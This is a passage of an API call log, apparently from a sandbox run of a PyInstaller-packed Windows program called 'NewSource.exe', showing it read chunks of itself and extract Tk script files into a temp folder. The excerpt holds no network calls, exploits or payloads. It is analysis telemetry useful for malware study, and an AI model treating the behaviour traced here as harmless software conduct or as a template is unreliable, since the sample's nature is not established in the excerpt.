dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.544] GetFileType (hFile=0x10c) returned 0x1 [0044.544] htonl (hostlong=0xb0a65e00) returned 0x5ea6b0 [0044.544] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6356b0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.544] htonl (hostlong=0xef0d0000) returned 0xdef [0044.544] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xdef) returned 0x55e278 [0044.544] htonl (hostlong=0xef0d0000) returned 0xdef [0044.544] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.544] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.544] htonl (hostlong=0xe4360000) returned 0x36e4 [0044.544] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x36e4) returned 0x562098 [0044.544] htonl (hostlong=0xef0d0000) returned 0xdef [0044.544] htonl (hostlong=0xe4360000) returned 0x36e4 [0044.544] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x565788 [0044.544] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565788 | out: hHeap=0x530000) returned 1 [0044.544] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.545] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.545] CloseHandle (hObject=0x10c) returned 1 [0044.545] GetLastError () returned 0x0 [0044.545] SetLastError (dwErrCode=0x0) [0044.545] GetLastError () returned 0x0 [0044.545] SetLastError (dwErrCode=0x0) [0044.545] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.545] GetFileType (hFile=0x10c) returned 0x1 [0044.545] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.545] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.545] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.545] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.545] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.545] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.545] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.545] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.545] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.545] CloseHandle (hObject=0x10c) returned 1 [0044.545] GetLastError () returned 0x0 [0044.545] SetLastError (dwErrCode=0x0) [0044.545] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\listbox.tcl") returned 60 [0044.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\listbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\listbox.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.545] GetLastError () returned 0x2 [0044.546] SetLastError (dwErrCode=0x2) [0044.546] GetLastError () returned 0x2 [0044.546] SetLastError (dwErrCode=0x2) [0044.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\listbox.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\listbox.tcl", lpFilePart=0x0) returned 0x3b [0044.546] GetLastError () returned 0x2 [0044.546] SetLastError (dwErrCode=0x2) [0044.546] GetLastError () returned 0x2 [0044.546] SetLastError (dwErrCode=0x2) [0044.546] GetLastError () returned 0x2 [0044.546] SetLastError (dwErrCode=0x2) [0044.546] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\listbox.tcl") returned 60 [0044.546] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.546] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\listbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\listbox.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.546] GetFileType (hFile=0x10c) returned 0x1 [0044.546] htonl (hostlong=0xe4360000) returned 0x36e4 [0044.546] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x3000, lpOverlapped=0x0) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.547] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x6e4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x6e4, lpOverlapped=0x0) returned 1 [0044.547] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.547] CloseHandle (hObject=0x10c) returned 1 [0044.547] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.548] htonl (hostlong=0x30000000) returned 0x30 [0044.548] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.548] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.548] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.548] GetFileType (hFile=0x10c) returned 0x1 [0044.548] htonl (hostlong=0x9fb45e00) returned 0x5eb49f [0044.548] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63649f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.549] htonl (hostlong=0x57270000) returned 0x2757 [0044.549] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2757) returned 0x561090 [0044.549] htonl (hostlong=0x57270000) returned 0x2757 [0044.549] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0044.549] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x5637f0 [0044.549] ReadFile (in: hFile=0x10c, lpBuffer=0x5637f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x5637f0*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.550] htonl (hostlong=0xf8930000) returned 0x93f8 [0044.550] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93f8) returned 0x5647f8 [0044.550] htonl (hostlong=0x57270000) returned 0x2757 [0044.550] htonl (hostlong=0xf8930000) returned 0x93f8 [0044.550] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56dbf8 [0044.551] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56dbf8 | out: hHeap=0x530000) returned 1 [0044.551] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.551] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5637f0 | out: hHeap=0x530000) returned 1 [0044.551] CloseHandle (hObject=0x10c) returned 1 [0044.551] GetLastError () returned 0x0 [0044.551] SetLastError (dwErrCode=0x0) [0044.551] GetLastError () returned 0x0 [0044.551] SetLastError (dwErrCode=0x0) [0044.551] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.551] GetFileType (hFile=0x10c) returned 0x1 [0044.551] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.551] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.551] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.551] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.551] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.551] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.551] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.551] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.551] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.551] CloseHandle (hObject=0x10c) returned 1 [0044.551] GetLastError () returned 0x0 [0044.551] SetLastError (dwErrCode=0x0) [0044.551] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\menu.tcl") returned 57 [0044.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\menu.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\menu.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.552] GetLastError () returned 0x2 [0044.552] SetLastError (dwErrCode=0x2) [0044.552] GetLastError () returned 0x2 [0044.552] SetLastError (dwErrCode=0x2) [0044.552] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\menu.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\menu.tcl", lpFilePart=0x0) returned 0x38 [0044.552] GetLastError () returned 0x2 [0044.552] SetLastError (dwErrCode=0x2) [0044.552] GetLastError () returned 0x2 [0044.552] SetLastError (dwErrCode=0x2) [0044.552] GetLastError () returned 0x2 [0044.552] SetLastError (dwErrCode=0x2) [0044.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\menu.tcl") returned 57 [0044.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.552] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\menu.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\menu.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.552] GetFileType (hFile=0x10c) returned 0x1 [0044.552] htonl (hostlong=0xf8930000) returned 0x93f8 [0044.552] WriteFile (in: hFile=0x10c, lpBuffer=0x5647f8*, nNumberOfBytesToWrite=0x9000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5647f8*, lpNumberOfBytesWritten=0x4fcd00*=0x9000, lpOverlapped=0x0) returned 1 [0044.554] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.554] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x3f8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x3f8, lpOverlapped=0x0) returned 1 [0044.554] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.554] CloseHandle (hObject=0x10c) returned 1 [0044.554] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5647f8 | out: hHeap=0x530000) returned 1 [0044.555] htonl (hostlong=0x20000000) returned 0x20 [0044.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.555] GetFileType (hFile=0x10c) returned 0x1 [0044.555] htonl (hostlong=0xf6db5e00) returned 0x5edbf6 [0044.555] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x638bf6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.555] htonl (hostlong=0x3c250000) returned 0x253c [0044.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x253c) returned 0x561090 [0044.556] htonl (hostlong=0x3c250000) returned 0x253c [0044.556] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0044.556] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x5635d8 [0044.556] ReadFile (in: hFile=0x10c, lpBuffer=0x5635d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x5635d8*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.556] htonl (hostlong=0x3b6a0000) returned 0x6a3b [0044.556] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6a3b) returned 0x5645e0 [0044.556] htonl (hostlong=0x3c250000) returned 0x253c [0044.556] htonl (hostlong=0x3b6a0000) returned 0x6a3b [0044.556] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56b028 [0044.557] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56b028 | out: hHeap=0x530000) returned 1 [0044.557] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.557] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5635d8 | out: hHeap=0x530000) returned 1 [0044.557] CloseHandle (hObject=0x10c) returned 1 [0044.557] GetLastError () returned 0x0 [0044.557] SetLastError (dwErrCode=0x0) [0044.557] GetLastError () returned 0x0 [0044.557] SetLastError (dwErrCode=0x0) [0044.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.557] GetFileType (hFile=0x10c) returned 0x1 [0044.557] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.557] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.558] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.558] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.558] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.558] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.558] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.558] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.558] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.558] CloseHandle (hObject=0x10c) returned 1 [0044.558] GetLastError () returned 0x0 [0044.558] SetLastError (dwErrCode=0x0) [0044.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\mkpsenc.tcl") returned 60 [0044.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\mkpsenc.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\mkpsenc.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.558] GetLastError () returned 0x2 [0044.558] SetLastError (dwErrCode=0x2) [0044.558] GetLastError () returned 0x2 [0044.558] SetLastError (dwErrCode=0x2) [0044.558] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\mkpsenc.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\mkpsenc.tcl", lpFilePart=0x0) returned 0x3b [0044.558] GetLastError () returned 0x2 [0044.558] SetLastError (dwErrCode=0x2) [0044.558] GetLastError () returned 0x2 [0044.558] SetLastError (dwErrCode=0x2) [0044.558] GetLastError () returned 0x2 [0044.558] SetLastError (dwErrCode=0x2) [0044.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\mkpsenc.tcl") returned 60 [0044.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\mkpsenc.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\mkpsenc.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.585] GetFileType (hFile=0x10c) returned 0x1 [0044.585] htonl (hostlong=0x3b6a0000) returned 0x6a3b [0044.585] WriteFile (in: hFile=0x10c, lpBuffer=0x5645e0*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5645e0*, lpNumberOfBytesWritten=0x4fcd00*=0x6000, lpOverlapped=0x0) returned 1 [0044.587] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.587] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xa3b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xa3b, lpOverlapped=0x0) returned 1 [0044.587] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.587] CloseHandle (hObject=0x10c) returned 1 [0044.587] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5645e0 | out: hHeap=0x530000) returned 1 [0044.588] htonl (hostlong=0x30000000) returned 0x30 [0044.588] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.588] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.588] GetFileType (hFile=0x10c) returned 0x1 [0044.588] htonl (hostlong=0x32015f00) returned 0x5f0132 [0044.588] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63b132, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.588] htonl (hostlong=0xce100000) returned 0x10ce [0044.589] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10ce) returned 0x561090 [0044.590] htonl (hostlong=0xce100000) returned 0x10ce [0044.590] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0044.590] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x562168 [0044.590] ReadFile (in: hFile=0x10c, lpBuffer=0x562168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x562168*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.590] htonl (hostlong=0x8b420000) returned 0x428b [0044.590] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x428b) returned 0x563170 [0044.590] htonl (hostlong=0xce100000) returned 0x10ce [0044.590] htonl (hostlong=0x8b420000) returned 0x428b [0044.590] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x567408 [0044.591] 